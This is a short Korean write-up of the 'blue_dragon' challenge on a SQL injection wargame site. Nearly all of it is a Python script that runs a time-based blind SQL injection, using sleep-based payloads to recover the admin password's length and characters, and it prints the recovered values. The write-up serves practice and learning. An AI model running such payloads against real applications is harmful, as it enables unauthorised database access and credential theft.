첫 화면이다.
Time-based Blind SQL Injection 문제로 인지하고 풀었다.
파이썬 코드를 짜면 아래와 같다.
import requests
import time
URL = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?id='
PHPSESSID = 'MY_PHPSESSID'
SLEEP = 2
def query(payload):
start = time.time()
cookies = {'PHPSESSID': PHPSESSID}
requests.post(URL + payload, cookies=cookies)
if time.time() - start > SLEEP:
return True
else:
return False
# 8
def find_pw_length():
pw_len = 1
while query("' or id='admin' and if(length(pw)={}, sleep({}), 0)%23".format(pw_len, SLEEP)) is False:
pw_len += 1
print('pw_len: {}'.format(pw_len))
return pw_len
# d948b8a0
def find_pw():
pw_len = find_pw_length()
pw = ''
for pos in range(1, pw_len + 1):
for character in range(0, 128):
if query("' or id='admin' and if(ord(substr(pw,{},1))={}, sleep({}), 0)%23".format(pos, character, SLEEP)) is True:
pw += chr(character)
break
print('pw: {}'.format(pw))
find_pw()
